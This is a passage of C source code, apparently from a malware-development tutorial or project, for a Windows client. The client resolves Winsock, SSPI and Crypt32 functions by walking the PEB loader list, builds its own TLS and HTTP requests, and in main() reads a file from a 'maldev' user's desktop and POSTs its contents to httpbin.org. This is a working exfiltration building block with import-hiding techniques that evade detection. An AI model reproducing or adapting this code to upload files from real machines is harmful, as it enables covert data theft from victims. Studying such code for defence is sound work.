		goto EXIT_ROUTINE;

	bFlag = TRUE;

EXIT_ROUTINE:

	if (ChainContext)
		Api->CertFreeCertificateChain(ChainContext);

	if(ServerCertificate)
		Api->CertFreeCertificateContext(ServerCertificate);

	if (OutputSecurityBuffer.pvBuffer)
		ImplFreeContextBuffer(Api, OutputSecurityBuffer.pvBuffer);

	if (Data)
		Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, Data);

	return bFlag;
}

BOOL WsaTlsSend(PAPI_TABLE Api, PTLSCLIENT TlsClient, SOCKET Socket, PBYTE Data, SIZE_T Length)
{
	SECURITY_STATUS SecurityStatus = 0;
	SIZE_T Offset = 0;
	PBYTE Buffer = NULL;
	BOOL bFlag = FALSE;
	INT BytesReceived = 0;

	for (DWORD Fragment = 0, BufferSize = 0; Offset < Length;)
	{
		SecBuffer SecurityBufferObjectArray[4] = { 0 };
		SecBufferDesc SecurityDescription = { 0 };

		Fragment = (DWORD)InlineGetMinimum((SIZE_T)TlsClient->Sizes.cbMaximumMessage, Length - Offset);
		BufferSize = TlsClient->Sizes.cbHeader + Fragment + TlsClient->Sizes.cbTrailer;

		Buffer = (PBYTE)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, BufferSize);
		if (Buffer == NULL)
			goto EXIT_ROUTINE;

		CopyMemoryEx(Buffer + TlsClient->Sizes.cbHeader, IncrementPointerNoMutateOffset((PCHAR)Data, Offset), Fragment);

		RtlInitializeSecurityBuffer(
			&SecurityBufferObjectArray[0], 
			SECBUFFER_STREAM_HEADER, 
			TlsClient->Sizes.cbHeader, 
			Buffer);

		RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[1],
			SECBUFFER_DATA,
			Fragment,
			IncrementPointerNoMutateOffset((PCHAR)Buffer, TlsClient->Sizes.cbHeader));


		RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[2], 
			SECBUFFER_STREAM_TRAILER, 
			TlsClient->Sizes.cbTrailer, 
			IncrementPointerNoMutateOffset((PCHAR)Buffer, TlsClient->Sizes.cbHeader + Fragment));

		RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[3], SECBUFFER_EMPTY, 0, NULL);
		RtlInitializeSecurityDescription(&SecurityDescription, SECBUFFER_VERSION, 4, SecurityBufferObjectArray);

		SecurityStatus = Api->SspiVirtualFunctionTable->EncryptMessage(&TlsClient->Context, 0, &SecurityDescription, 0);
		if (SecurityStatus != SEC_E_OK)
			goto EXIT_ROUTINE;

		if (WsaTransmitTcpSocket(Api, Socket, Buffer, (INT)(SecurityBufferObjectArray[0].cbBuffer + SecurityBufferObjectArray[1].cbBuffer + SecurityBufferObjectArray[2].cbBuffer)) <= 0)
			goto EXIT_ROUTINE;

		if (Buffer)
			Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, Buffer);

		Buffer = NULL;
		Offset += Fragment;
	}

	bFlag = TRUE;

EXIT_ROUTINE:

	if (Buffer)
		Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, Buffer);

	return bFlag;
}

BOOL WsaProcessIncomingResponseBuffer(PAPI_TABLE Api, PBYTE* Buffer, PSIZE_T Length, PBYTE Response, SIZE_T ResponseLength)
{
	SIZE_T AllocationBlock = *Length + ResponseLength;
	PBYTE Object = NULL;

	if (*Buffer == NULL)
		Object = (PBYTE)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, AllocationBlock + 1);
	else
		Object = (PBYTE)HeapReAlloc(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, *Buffer, *Length + ResponseLength + 1);
	
	if (Object == NULL)
		return FALSE;

	CopyMemoryEx(Object + *Length, Response, ResponseLength);
	Object[*Length + ResponseLength] = 0;
	*Buffer = Object;
	*Length += ResponseLength;

	return TRUE;
}

BOOL HttpGetContentLength(PCHAR Header, SIZE_T HeaderLength, PSIZE_T outLen)
{
	PCHAR Pointer = Header;
	PCHAR BufferEnd = Header + HeaderLength;
	PCHAR HttpClrf = NULL;

	CHAR ContentLengthHeader[] = "content-length:";
	SIZE_T ContentLengthLength = sizeof(ContentLengthHeader) - 1;
	PCHAR ContentLengthValue = NULL;
	SIZE_T ContentLengthValueLength = 0;
	
	BOOL bFlag = FALSE;

	while (Pointer < BufferEnd) 
	{
		HttpClrf = FindStringInMemoryRegion(Pointer, (SIZE_T)(BufferEnd - Pointer), (PCHAR)"\r\n", 2);
		if (HttpClrf == NULL)
			HttpClrf = BufferEnd;

		if ((SIZE_T)(HttpClrf - Pointer) >= (sizeof(ContentLengthHeader) - 1) && StringCompareByLengthLowerA(Pointer, ContentLengthHeader, ContentLengthLength) == 0)
		{
			ContentLengthValue = Pointer + (sizeof(ContentLengthHeader) - 1);
			while (ContentLengthValue < HttpClrf && (*ContentLengthValue == ' ' || *ContentLengthValue == '\t'))
				ContentLengthValue++;

			while (ContentLengthValue < HttpClrf && *ContentLengthValue >= '0' && *ContentLengthValue <= '9') 
			{
				bFlag = TRUE;
				ContentLengthValueLength = (ContentLengthValueLength * 10) + (SIZE_T)(*ContentLengthValue - '0');
				ContentLengthValue++;
			}

			if(bFlag)
				*outLen = ContentLengthValueLength;

			return bFlag;
		}

		Pointer = IncrementPointerNoMutateOffset(HttpClrf, 2);
	}

	return FALSE;
}

PBYTE WsaTlsReceive(PAPI_TABLE Api, PTLSCLIENT TlsClient, SOCKET Socket, PSIZE_T Length)
{
	SECURITY_STATUS SecurityStatus = 0;

	SecBuffer SecurityBufferObjectArray[4];
	ImplZeroMemory2(&SecurityBufferObjectArray, sizeof(SecurityBufferObjectArray));

	SecBufferDesc SecurityDescription;
	ImplZeroMemory2(&SecurityDescription, sizeof(SecurityDescription));

	PBYTE NetworkBuffer = NULL;
	SIZE_T NetworkBufferLength = 0;

	PBYTE Response = NULL;
	SIZE_T ResponseLength = 0;

	BYTE ResponseDigestObject[8192];
	ImplZeroMemory2(&ResponseDigestObject, sizeof(ResponseDigestObject));

	PBYTE SecBufferChannelExtraHandler = NULL;
	ULONG SecBufferChannelExtraLength = 0;

	BOOL HttpKeepAliveAreHeadersPresentFlag = FALSE;
	BOOL HttpIsContentLengthPresentFlag = FALSE;
	SIZE_T HttpResponseBodyLength = 0;
	SIZE_T HttpResponseTotal = 0;


	for (INT BytesReceived = 0; TRUE;)
	{
		if (HttpKeepAliveAreHeadersPresentFlag)
		{
			if (HttpIsContentLengthPresentFlag && ResponseLength >= HttpResponseTotal)
			{
				*Length = HttpResponseTotal;
				break;
			}
		}

		BytesReceived = Api->WsaReceiveBuffer(Socket, (PCHAR)ResponseDigestObject, sizeof(ResponseDigestObject), 0);
		if (BytesReceived == 0)
			break;

		if (BytesReceived < 0)
			goto EXIT_ROUTINE;

		if (!WsaProcessIncomingResponseBuffer(Api, &NetworkBuffer, &NetworkBufferLength, ResponseDigestObject, (SIZE_T)BytesReceived))
			goto EXIT_ROUTINE;

		while (TRUE)
		{
			if (NetworkBufferLength == ERROR_SUCCESS)
				break;

			RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[0], SECBUFFER_DATA, (ULONG)NetworkBufferLength, NetworkBuffer);
			RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[1], SECBUFFER_EMPTY, 0, NULL);
			RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[2], SECBUFFER_EMPTY, 0, NULL);
			RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[3], SECBUFFER_EMPTY, 0, NULL);
			RtlInitializeSecurityDescription(&SecurityDescription, SECBUFFER_VERSION, 4, SecurityBufferObjectArray);

			SecurityStatus = Api->SspiVirtualFunctionTable->DecryptMessage(&TlsClient->Context, &SecurityDescription, 0, NULL);

			if (SecurityStatus == SEC_E_INCOMPLETE_MESSAGE)
				break;

			if (SecurityStatus == SEC_I_CONTEXT_EXPIRED)
			{
				Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, NetworkBuffer);
				*Length = ResponseLength;
				return Response;
			}

			if (SecurityStatus != SEC_E_OK && SecurityStatus != SEC_I_RENEGOTIATE)
				goto EXIT_ROUTINE;

			for (INT Ordinal = 0; Ordinal < 4; Ordinal++)
			{
				if (SecurityBufferObjectArray[Ordinal].BufferType == SECBUFFER_DATA && SecurityBufferObjectArray[Ordinal].cbBuffer)
				{
					if (!WsaProcessIncomingResponseBuffer(Api, &Response, &ResponseLength, (PBYTE)SecurityBufferObjectArray[Ordinal].pvBuffer, SecurityBufferObjectArray[Ordinal].cbBuffer))
						goto EXIT_ROUTINE;
				}
			}

			if (!HttpKeepAliveAreHeadersPresentFlag)
			{
				PCHAR HeaderEndOffset = NULL;
				HeaderEndOffset = FindStringInMemoryRegion((PCHAR)Response, ResponseLength, (PCHAR)"\r\n\r\n", 4);
				if (HeaderEndOffset)
				{
					HttpKeepAliveAreHeadersPresentFlag = TRUE;

					HttpIsContentLengthPresentFlag = HttpGetContentLength((PCHAR)Response, ((SIZE_T)(HeaderEndOffset - (PCHAR)Response)), &HttpResponseBodyLength);

					if (HttpIsContentLengthPresentFlag)
						HttpResponseTotal = (((SIZE_T)(HeaderEndOffset - (PCHAR)Response)) + 4) + HttpResponseBodyLength;
				}
			}

			if (SecurityStatus == SEC_I_RENEGOTIATE)
				goto EXIT_ROUTINE;

			SecBufferChannelExtraHandler = NULL;
			SecBufferChannelExtraLength = 0;

			for (INT i = 0; i < 4; i++)
			{
				if (SecurityBufferObjectArray[i].BufferType == SECBUFFER_EXTRA && SecurityBufferObjectArray[i].cbBuffer > 0)
				{
					SecBufferChannelExtraHandler = (PBYTE)SecurityBufferObjectArray[i].pvBuffer;
					SecBufferChannelExtraLength = SecurityBufferObjectArray[i].cbBuffer;
					break;
				}
			}

			if (SecBufferChannelExtraLength)
			{
				MoveMemory(NetworkBuffer, SecBufferChannelExtraHandler, SecBufferChannelExtraLength);
				NetworkBufferLength = SecBufferChannelExtraLength;
			}
			else
				NetworkBufferLength = 0;

		}
	}

EXIT_ROUTINE:

	if (NetworkBuffer)
		Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, NetworkBuffer);

	*Length = ResponseLength;

	return Response;
}

PCHAR InternalHttpCreateSection(PAPI_TABLE Api, PCHAR Header, PCHAR Attribute)
{
	PCHAR Out = NULL;
	SIZE_T BufferSize = HTTP_DELIMITED_LENGTH;

	BufferSize += StringLengthA(Header); BufferSize += StringLengthA(Attribute);

	Out = (PCHAR)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, BufferSize);
	if (Out == NULL)
		return NULL;

	StringCopyA(Out, Header);
	StringConcatA(Out, Attribute);
	StringConcatA(Out, (PCHAR)HTTP_DELIMITER);

	return Out;
}

PCHAR RtlBuildHttpGetRequest(PAPI_TABLE Api, INT Method, PCHAR Host, PCHAR UserAgent, PCHAR AcceptHeaderAttributes, PCHAR ConnectionHeaderAttributes, PCHAR ContentType, ULONG ContentLength)
{
	PCHAR HttpBufferRequestObject = NULL;
	PCHAR HttpBufferSectionHandler = NULL;
	SIZE_T HttpBufferSize = DEFAULT_BUFFER_ALLOCATION_SIZE;
	BOOL bFlag = FALSE;

	CHAR ContentLengthObject[32];
	ImplZeroMemory2(&ContentLengthObject, sizeof(ContentLengthObject));

	HttpBufferRequestObject = (PCHAR)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, HttpBufferSize);
	if (HttpBufferRequestObject == NULL)
		goto EXIT_ROUTINE;

	switch (Method)
	{
		case 0:
		{
			StringCopyA(HttpBufferRequestObject, (PCHAR)"GET /get HTTP/1.1\r\n");
			break;
		}
			
		case 1:
		{
			StringCopyA(HttpBufferRequestObject, (PCHAR)"POST /post HTTP/1.1\r\n");
			break;
		}
		default:
			goto EXIT_ROUTINE;
	}

	if (Host)
	{
		HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Host: ", Host);
		if (HttpBufferSectionHandler == NULL)
			goto EXIT_ROUTINE;
		else {
			StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);

			Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
		}
	}

	if (UserAgent)
	{
		HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"User-Agent: ", UserAgent);
		if (HttpBufferSectionHandler == NULL)
			goto EXIT_ROUTINE;
		else {
			StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);

			Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
		}
	}

	if (AcceptHeaderAttributes)
	{
		HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Accept: ", AcceptHeaderAttributes);
		if (HttpBufferSectionHandler == NULL)
			goto EXIT_ROUTINE;
		else {
			StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);

			Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
		}
	}

	if (ContentType && ContentLength)
	{
		HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Content-Type: ", ContentType);
		if (HttpBufferSectionHandler == NULL)
			goto EXIT_ROUTINE;
		else {
			StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);

			Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
		}

		HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Content-Length: ", HttpUSizeToDecimalA((SIZE_T)ContentLength, ContentLengthObject, sizeof(ContentLengthObject)));
		if (HttpBufferSectionHandler == NULL)
			goto EXIT_ROUTINE;
		else {
			StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);

			Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
		}
	}

	if (ConnectionHeaderAttributes)
	{
		HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Connection: ", ConnectionHeaderAttributes);
		if (HttpBufferSectionHandler == NULL)
			goto EXIT_ROUTINE;
		else {
			StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);

			Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
		}
	}

	StringConcatA(HttpBufferRequestObject, (PCHAR)HTTP_DELIMITER);

	bFlag = TRUE;
		
EXIT_ROUTINE:

	if (!bFlag)
		Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferRequestObject);

	return (bFlag ? HttpBufferRequestObject : NULL);
}

BOOL LdrLoadPopulationApiTable(PAPI_TABLE Api)
{
	PLDR_MODULE LoaderModule = NULL;
	LOADOBJECT Object;
	ImplZeroMemory2(&Object, sizeof(Object));

	LoaderModule = (PLDR_MODULE)((PBYTE)GetPeb()->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16);
	if (LoaderModule == NULL)
		return FALSE;

	Api->LdrLoadDll = (LDRLOADDLL)ImportFunction((DWORD64)LoaderModule->BaseAddress, (PCHAR)"LdrLoadDll");
	Api->RtlAllocateHeap = (RTLALLOCATEHEAP)ImportFunction((DWORD64)LoaderModule->BaseAddress, (PCHAR)"RtlAllocateHeap");
	Api->RtlFreeHeap = (RTLFREEHEAP)ImportFunction((DWORD64)LoaderModule->BaseAddress, (PCHAR)"RtlFreeHeap");

	if (!Api->LdrLoadDll || !Api->RtlAllocateHeap || !Api->RtlFreeHeap)
		return FALSE;

	RtlInitUnicodeString(&Object.String, (PWCHAR)L"sspicli.dll");
	if (Api->LdrLoadDll(NULL, 0, &Object.String, (PHANDLE)&Object.Base) != 0)
		return FALSE;

	Api->InitializeSspiFunctionTable = (INITIALIZESSPIFUNCTIONTABLE)ImportFunction(Object.Base, (PCHAR)"InitSecurityInterfaceW");
	if (!Api->InitializeSspiFunctionTable)
		return FALSE;

	Api->SspiVirtualFunctionTable = (PSecurityFunctionTableW)Api->InitializeSspiFunctionTable();
	if (!Api->SspiVirtualFunctionTable)
		return FALSE;
	else
		ImplZeroMemory2(&Object, sizeof(Object));

	RtlInitUnicodeString(&Object.String, (PWCHAR)L"Ws2_32.dll");
	if (Api->LdrLoadDll(NULL, 0, &Object.String, (PHANDLE)&Object.Base) != 0)
		return FALSE;

	Api->WsaStartup = (WSASTARTUP)ImportFunction(Object.Base, (PCHAR)"WSAStartup");
	Api->WsaCleanup = (WSACLEANUP)ImportFunction(Object.Base, (PCHAR)"WSACleanup");
	Api->WsaConnectSocket = (WSACONNECTSOCKET)ImportFunction(Object.Base, (PCHAR)"WSAConnect");
	Api->WsaSendBuffer = (WSASENDBUFFER)ImportFunction(Object.Base, (PCHAR)"send");
	Api->WsaReceiveBuffer = (WSARECEIVEBUFFER)ImportFunction(Object.Base, (PCHAR)"recv");
	Api->WsaCloseSocket = (WSACLOSECOCKET)ImportFunction(Object.Base, (PCHAR)"closesocket");
	Api->WsaBindSocketToTransportProvider = (WSABINDSOCKETTOTRANSPORTPROVIDER)ImportFunction(Object.Base, (PCHAR)"WSASocketW");
	Api->WsaUnicodeHostToAddress = (WSAUNICODEHOSTTOADDRESS)ImportFunction(Object.Base, (PCHAR)"GetAddrInfoW");
	Api->WsaFreeAddressInformation = (WSAFREEADDRESSRINFORMATION)ImportFunction(Object.Base, (PCHAR)"FreeAddrInfoW");

	if (!Api->WsaStartup ||
		!Api->WsaCleanup ||
		!Api->WsaConnectSocket ||
		!Api->WsaCloseSocket ||
		!Api->WsaBindSocketToTransportProvider ||
		!Api->WsaUnicodeHostToAddress ||
		!Api->WsaFreeAddressInformation ||
		!Api->WsaSendBuffer)
	{
		return FALSE;
	}
	else
		ImplZeroMemory2(&Object, sizeof(Object));

	RtlInitUnicodeString(&Object.String, (PWCHAR)L"Crypt32.dll");
	if (Api->LdrLoadDll(NULL, 0, &Object.String, (PHANDLE)&Object.Base) != 0)
		return FALSE;

	Api->CertFreeCertificateChain = (CERTFREECERTIFICATECHAIN)ImportFunction(Object.Base, (PCHAR)"CertFreeCertificateChain");
	Api->CertFreeCertificateContext = (CERTFREECERTIFICATECONTEXT)ImportFunction(Object.Base, (PCHAR)"CertFreeCertificateContext");
	Api->CertGetCertificateChain = (CERTGETCERTIFICATECHAIN)ImportFunction(Object.Base, (PCHAR)"CertGetCertificateChain");
	Api->CertVerifyCertificateChainPolicy = (CERTVERIFYCERTIFICATECHAINPOLICY)ImportFunction(Object.Base, (PCHAR)"CertVerifyCertificateChainPolicy");

	if (!Api->CertFreeCertificateChain || !Api->CertFreeCertificateContext || !Api->CertGetCertificateChain || !Api->CertVerifyCertificateChainPolicy)
		return FALSE;

	return TRUE;
}

INT main(VOID)
{
	API_TABLE Api;
	ImplZeroMemory2(&Api, sizeof(Api));

	WSADATA Wsa;
	ImplZeroMemory2(&Wsa, sizeof(Wsa));

	WCHAR Host[] = L"httpbin.org";
	WCHAR Port[] = L"443";
	PCHAR HttpRequestObject = NULL;
	SOCKET Socket = INVALID_SOCKET;
	PBYTE TlsResponse = NULL;
	SIZE_T TlsResponseLength = 0;

	TLSCLIENT TlsClient;
	ImplZeroMemory2(&TlsClient, sizeof(TlsClient));

	HTTP_RESPONSE HttpResponse;
	ImplZeroMemory2(&HttpResponse, sizeof(HttpResponse));

	LARGE_INTEGER FileSize;
	ImplZeroMemory2(&FileSize, sizeof(FileSize));

	PBYTE FileBuffer = NULL;
	HANDLE hHandle = INVALID_HANDLE_VALUE;
	DWORD BytesRead = 0;
	BOOL bFlag = FALSE;

	if (!LdrLoadPopulationApiTable(&Api))
		return -1;

	if (Api.WsaStartup(MAKEWORD(2, 2), &Wsa) != ERROR_SUCCESS)
		return -1;

	Socket = WsaTcpInitializeConnection(&Api, Host, Port);
	if (Socket == NULL)
		goto EXIT_ROUTINE;

	if (!WsaPerformTlsHandshake(&Api, &TlsClient, Socket, Host))
		goto EXIT_ROUTINE;

	HttpRequestObject = RtlBuildHttpGetRequest(&Api, 0, (PCHAR)"httpbin.org", (PCHAR)"i like kitty cats/1.0", (PCHAR)"*/*", (PCHAR)"keep-alive", NULL, 0);
	if (HttpRequestObject == NULL)
		goto EXIT_ROUTINE;

	if(!WsaTlsSend(&Api, &TlsClient, Socket, (PBYTE)HttpRequestObject, StringLengthA(HttpRequestObject)))
		goto EXIT_ROUTINE;

	TlsResponse = WsaTlsReceive(&Api, &TlsClient, Socket, &TlsResponseLength);
	if (TlsResponse == NULL)
		goto EXIT_ROUTINE;

	if (!ProcessHttpResponseData(&Api, TlsResponse, TlsResponseLength, &HttpResponse))
		goto EXIT_ROUTINE;

	//////////////////////////////////////////////////////////////////////////////////////////////

	hHandle = CreateFileW(L"C:\\Users\\maldev\\Desktop\\TestUpload.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hHandle == INVALID_HANDLE_VALUE)
		goto EXIT_ROUTINE;

	if (!GetFileSizeEx(hHandle, &FileSize))
		goto EXIT_ROUTINE;

	if ((ULONGLONG)FileSize.QuadPart > (ULONGLONG)(512 * 1024 * 1024))
		goto EXIT_ROUTINE;

	FileBuffer = (PBYTE)Api.RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, (SIZE_T)FileSize.QuadPart);
	if (FileBuffer == NULL)
		goto EXIT_ROUTINE;

	if (!ReadFile(hHandle, FileBuffer, (DWORD)FileSize.QuadPart, &BytesRead, NULL))
		goto EXIT_ROUTINE;

	//////////////////////////////////////////////////////////////////////////////////////////////

	if (HttpRequestObject)
		Api.RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpRequestObject);

	HttpRequestObject = RtlBuildHttpGetRequest(&Api, 1, (PCHAR)"httpbin.org", (PCHAR)"i like kitty cats/1.0", (PCHAR)"*/*", (PCHAR)"keep-alive", (PCHAR)"application/octet-stream", (ULONG)FileSize.QuadPart);
	if (HttpRequestObject == NULL)
		goto EXIT_ROUTINE;

	if (!WsaTlsSend(&Api, &TlsClient, Socket, (PBYTE)HttpRequestObject, StringLengthA(HttpRequestObject)))
		goto EXIT_ROUTINE;

	if (!WsaTlsSend(&Api, &TlsClient, Socket, (PBYTE)FileBuffer, (SIZE_T)FileSize.QuadPart))
		goto EXIT_ROUTINE;

	TlsResponse = WsaTlsReceive(&Api, &TlsClient, Socket, &TlsResponseLength);
	if (TlsResponse == NULL)
		goto EXIT_ROUTINE;

	if (!ProcessHttpResponseData(&Api, TlsResponse, TlsResponseLength, &HttpResponse))
		goto EXIT_ROUTINE;

	bFlag = TRUE;

EXIT_ROUTINE:

	if (FileBuffer)
		Api.RtlFreeHeap(GetPeb()->ProcessHeap, 0, FileBuffer);

	if (hHandle)
		CloseHandle(hHandle);

	if (HttpRequestObject)
		Api.RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpRequestObject);

	FreeHttpResponse(&Api, &HttpResponse);

	if (TlsResponse)
		Api.RtlFreeHeap(GetPeb()->ProcessHeap, 0, TlsResponse);

	if (TlsClient.ContextFlag)
		Api.SspiVirtualFunctionTable->DeleteSecurityContext(&TlsClient.Context);

	if (TlsClient.CredFlag)
		Api.SspiVirtualFunctionTable->FreeCredentialsHandle(&TlsClient.Cred);

	if (Socket)
		Api.WsaCloseSocket(Socket);

	Api.WsaCleanup();

	return (bFlag ? ERROR_SUCCESS : GetLastError());
}

Last updated